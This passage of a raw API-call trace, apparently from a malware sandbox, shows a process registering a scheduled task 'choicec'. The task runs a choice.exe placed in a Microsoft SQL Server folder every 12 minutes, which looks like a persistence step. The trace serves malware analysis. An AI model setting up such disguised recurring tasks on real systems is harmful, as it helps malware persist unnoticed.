_Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.761] lstrlenW (lpString="f") returned 1 [0063.761] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.761] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sd|") returned 4 [0063.761] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.761] lstrlenW (lpString="|sd|") returned 4 [0063.761] lstrlenW (lpString="|f|") returned 3 [0063.761] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0063.761] SetLastError (dwErrCode=0x490) [0063.761] lstrlenW (lpString="ed") returned 2 [0063.761] lstrlenW (lpString="ed") returned 2 [0063.761] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.761] lstrlenW (lpString="f") returned 1 [0063.761] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.761] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ed|") returned 4 [0063.761] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.761] lstrlenW (lpString="|ed|") returned 4 [0063.762] lstrlenW (lpString="|f|") returned 3 [0063.762] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0063.762] SetLastError (dwErrCode=0x490) [0063.762] lstrlenW (lpString="it") returned 2 [0063.762] lstrlenW (lpString="it") returned 2 [0063.762] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.762] lstrlenW (lpString="f") returned 1 [0063.762] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.762] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|it|") returned 4 [0063.762] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.762] lstrlenW (lpString="|it|") returned 4 [0063.762] lstrlenW (lpString="|f|") returned 3 [0063.762] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0063.762] SetLastError (dwErrCode=0x490) [0063.762] lstrlenW (lpString="et") returned 2 [0063.762] lstrlenW (lpString="et") returned 2 [0063.762] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.762] lstrlenW (lpString="f") returned 1 [0063.762] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.762] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|et|") returned 4 [0063.762] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.762] lstrlenW (lpString="|et|") returned 4 [0063.763] lstrlenW (lpString="|f|") returned 3 [0063.763] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0063.763] SetLastError (dwErrCode=0x490) [0063.763] lstrlenW (lpString="k") returned 1 [0063.763] lstrlenW (lpString="k") returned 1 [0063.763] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.763] lstrlenW (lpString="f") returned 1 [0063.763] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.763] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|k|") returned 3 [0063.763] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.763] lstrlenW (lpString="|k|") returned 3 [0063.763] lstrlenW (lpString="|f|") returned 3 [0063.763] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0063.763] SetLastError (dwErrCode=0x490) [0063.763] lstrlenW (lpString="du") returned 2 [0063.763] lstrlenW (lpString="du") returned 2 [0063.763] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.763] lstrlenW (lpString="f") returned 1 [0063.763] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.763] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|du|") returned 4 [0063.763] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.763] lstrlenW (lpString="|du|") returned 4 [0063.763] lstrlenW (lpString="|f|") returned 3 [0063.763] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0063.763] SetLastError (dwErrCode=0x490) [0063.764] lstrlenW (lpString="ri") returned 2 [0063.764] lstrlenW (lpString="ri") returned 2 [0063.764] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.764] lstrlenW (lpString="f") returned 1 [0063.764] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.764] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ri|") returned 4 [0063.764] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.764] lstrlenW (lpString="|ri|") returned 4 [0063.764] lstrlenW (lpString="|f|") returned 3 [0063.764] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0063.764] SetLastError (dwErrCode=0x490) [0063.764] lstrlenW (lpString="z") returned 1 [0063.764] lstrlenW (lpString="z") returned 1 [0063.764] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.764] lstrlenW (lpString="f") returned 1 [0063.764] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.764] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|z|") returned 3 [0063.764] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.764] lstrlenW (lpString="|z|") returned 3 [0063.764] lstrlenW (lpString="|f|") returned 3 [0063.764] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0063.764] SetLastError (dwErrCode=0x490) [0063.764] lstrlenW (lpString="f") returned 1 [0063.764] lstrlenW (lpString="f") returned 1 [0063.764] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.765] lstrlenW (lpString="f") returned 1 [0063.765] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.765] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.765] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.765] lstrlenW (lpString="|f|") returned 3 [0063.765] lstrlenW (lpString="|f|") returned 3 [0063.765] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0063.765] SetLastError (dwErrCode=0x0) [0063.765] SetLastError (dwErrCode=0x0) [0063.765] GetProcessHeap () returned 0x240000 [0063.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce80 [0063.765] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.765] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0063.765] lstrlenW (lpString="MINUTE") returned 6 [0063.765] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d6d0 [0063.766] GetThreadLocale () returned 0x409 [0063.766] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0063.766] SetLastError (dwErrCode=0x0) [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x1fc) returned 0x25c4c0 [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce50 [0063.766] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.766] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0063.766] lstrlenW (lpString="First") returned 5 [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d6f0 [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce20 [0063.766] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.766] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0063.766] lstrlenW (lpString="Second") returned 6 [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d710 [0063.766] GetProcessHeap () returned 0x240000 [0063.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdf0 [0063.766] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.766] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0063.767] lstrlenW (lpString="Third") returned 5 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d730 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdc0 [0063.767] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.767] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0063.767] lstrlenW (lpString="Fourth") returned 6 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d750 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd90 [0063.767] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.767] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0063.767] lstrlenW (lpString="Last") returned 4 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25d770 [0063.767] lstrlenW (lpString="12") returned 2 [0063.767] _wtol (_String="12") returned 12 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd60 [0063.767] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.767] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0063.767] lstrlenW (lpString="First") returned 5 [0063.767] GetProcessHeap () returned 0x240000 [0063.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d790 [0063.767] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.768] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0063.768] lstrlenW (lpString="Second") returned 6 [0063.768] GetProcessHeap () returned 0x240000 [0063.768] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d7b0 [0063.768] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.768] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0063.768] lstrlenW (lpString="Third") returned 5 [0063.768] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.768] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0063.768] lstrlenW (lpString="Fourth") returned 6 [0063.768] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.768] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0063.768] lstrlenW (lpString="Last") returned 4 [0063.768] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc2c0, cchData=128 | out: lpLCData="0") returned 2 [0063.768] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.768] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0063.768] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0063.768] GetProcessHeap () returned 0x240000 [0063.768] GetProcessHeap () returned 0x240000 [0063.768] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6f0) returned 1 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6f0) returned 0xc [0063.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6f0 | out: hHeap=0x240000) returned 1 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d6f0 [0063.769] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc2e0, cchData=128 | out: lpLCData="0") returned 2 [0063.769] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.769] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0063.769] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d710) returned 1 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d710) returned 0xe [0063.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d710 | out: hHeap=0x240000) returned 1 [0063.769] GetProcessHeap () returned 0x240000 [0063.769] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d710 [0063.769] GetLocalTime (in: lpSystemTime=0xdc510 | out: lpSystemTime=0xdc510*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x30, wMilliseconds=0x141)) [0063.769] lstrlenW (lpString="") returned 0 [0063.769] GetLocalTime (in: lpSystemTime=0xdcdc8 | out: lpSystemTime=0xdcdc8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x30, wMilliseconds=0x141)) [0063.769] lstrlenW (lpString="") returned 0 [0063.770] lstrlenW (lpString="") returned 0 [0063.770] lstrlenW (lpString="") returned 0 [0063.770] lstrlenW (lpString="") returned 0 [0063.770] lstrlenW (lpString="12") returned 2 [0063.770] _wtol (_String="12") returned 12 [0063.770] lstrlenW (lpString="") returned 0 [0063.770] lstrlenW (lpString="") returned 0 [0063.770] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0063.795] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0063.867] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdcb90 | out: ppv=0xdcb90*=0x34dee0) returned 0x0 [0063.880] TaskScheduler:ITaskService:Connect (This=0x34dee0, serverName=0xdcc70*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdcc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0063.961] TaskScheduler:IUnknown:AddRef (This=0x34dee0) returned 0x2 [0063.961] TaskScheduler:ITaskService:GetFolder (in: This=0x34dee0, Path=0x0, ppFolder=0xdcd28 | out: ppFolder=0xdcd28*=0x487dd0) returned 0x0 [0063.964] TaskScheduler:ITaskService:NewTask (in: This=0x34dee0, flags=0x0, ppDefinition=0xdcd20 | out: ppDefinition=0xdcd20*=0x487e20) returned 0x0 [0063.965] ITaskDefinition:get_Actions (in: This=0x487e20, ppActions=0xdcca0 | out: ppActions=0xdcca0*=0x487ee0) returned 0x0 [0063.965] IActionCollection:Create (in: This=0x487ee0, Type=0, ppAction=0xdccc0 | out: ppAction=0xdccc0*=0x4866c0) returned 0x0 [0063.965] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.965] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.965] lstrlenW (lpString=" ") returned 1 [0063.965] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0063.966] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0063.966] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0063.966] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0063.967] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x51) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0063.967] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0063.967] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.968] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.968] IUnknown:Release (This=0x4866c0) returned 0x1 [0063.968] IUnknown:Release (This=0x487ee0) returned 0x1 [0063.968] ITaskDefinition:get_Triggers (in: This=0x487e20, ppTriggers=0xdc820 | out: ppTriggers=0xdc820*=0x487f60) returned 0x0 [0063.969] ITriggerCollection:Create (in: This=0x487f60, Type=1, ppTrigger=0xdc818 | out: ppTrigger=0xdc818*=0x486730) returned 0x0 [0063.969] lstrlenW (lpString="12") returned 2 [0063.969] _vsnwprintf (in: _Buffer=0xdc7a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc798 | out: _Buffer="PT12M") returned 5 [0063.969] ITrigger:get_Repetition (in: This=0x486730, ppRepeat=0xdc810 | out: ppRepeat=0xdc810*=0x4867c0) returned 0x0 [0063.969] IRepetitionPattern:put_Interval (This=0x4867c0, Interval="PT12M") returned 0x0 [0063.969] IUnknown:Release (This=0x4867c0) returned 0x1 [0063.969] _vsnwprintf (in: _Buffer=0xdc760, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc738 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0063.969] ITrigger:put_StartBoundary (This=0x486730, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0063.969] lstrlenW (lpString="") returned 0 [0063.969] lstrlenW (lpString="") returned 0 [0063.969] lstrlenW (lpString="") returned 0 [0063.969] lstrlenW (lpString="") returned 0 [0063.970] IUnknown:Release (This=0x486730) returned 0x1 [0063.970] IUnknown:Release (This=0x487f60) returned 0x1 [0063.970] ITaskDefinition:get_Settings (in: This=0x487e20, ppSettings=0xdccc0 | out: ppSettings=0xdccc0*=0x4864a0) returned 0x0 [0063.970] lstrlenW (lpString="") returned 0 [0063.970] IUnknown:Release (This=0x4864a0) returned 0x1 [0063.970] GetLocalTime (in: lpSystemTime=0xdcb78 | out: lpSystemTime=0xdcb78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x30, wMilliseconds=0x20c)) [0063.970] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0063.970] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0063.971] GetUserNameW (in: lpBuffer=0xdcba0, pcbBuffer=0xdcb88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdcb88) returned 1 [0063.971] ITaskDefinition:get_RegistrationInfo (in: This=0x487e20, ppRegistrationInfo=0xdcb70 | out: ppRegistrationInfo=0xdcb70*=0x4863e0) returned 0x0 [0063.971] IRegistrationInfo:put_Author (This=0x4863e0, Author="") returned 0x0 [0063.971] _vsnwprintf (in: _Buffer=0xdcba0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdcb38 | out: _Buffer="2023-09-19T17:16:48") returned 19 [0063.972] IRegistrationInfo:put_Date (This=0x4863e0, Date="") returned 0x0 [0063.972] IUnknown:Release (This=0x4863e0) returned 0x1 [0063.972] malloc (_Size=0x18) returned 0x486840 [0063.972] free (_Block=0x486840) [0063.972] lstrlenW (lpString="") returned 0 [0063.972] malloc (_Size=0x18) returned 0x486840 [0063.972] ITaskFolder:RegisterTaskDefinition (in: This=0x487dd0, Path="choicec", pDefinition=0x487e20, flags=6, UserId=0xdce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xded20, varVal2=0xfe), LogonType=3, sddl=0xdce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcd30 | out: ppTask=0xdcd30*=0x4869e0) returned 0x0 [0064.223] free (_Block=0x486840) [0064.223] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.223] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0064.223] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0064.223] GetProcessHeap () returned 0x240000 [0064.223] GetProcessHeap () returned 0x240000 [0064.223] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d730) returned 1 [0064.223] GetProcessHeap () returned 0x240000 [0064.223] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d730) returned 0xc [0064.223] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d730 | out: hHeap=0x240000) returned 1 [0064.223] GetProcessHeap () returned 0x240000 [0064.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x82) returned 0x279d40 [0064.223] _vsnwprintf (in: _Buffer=0xdd470, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", 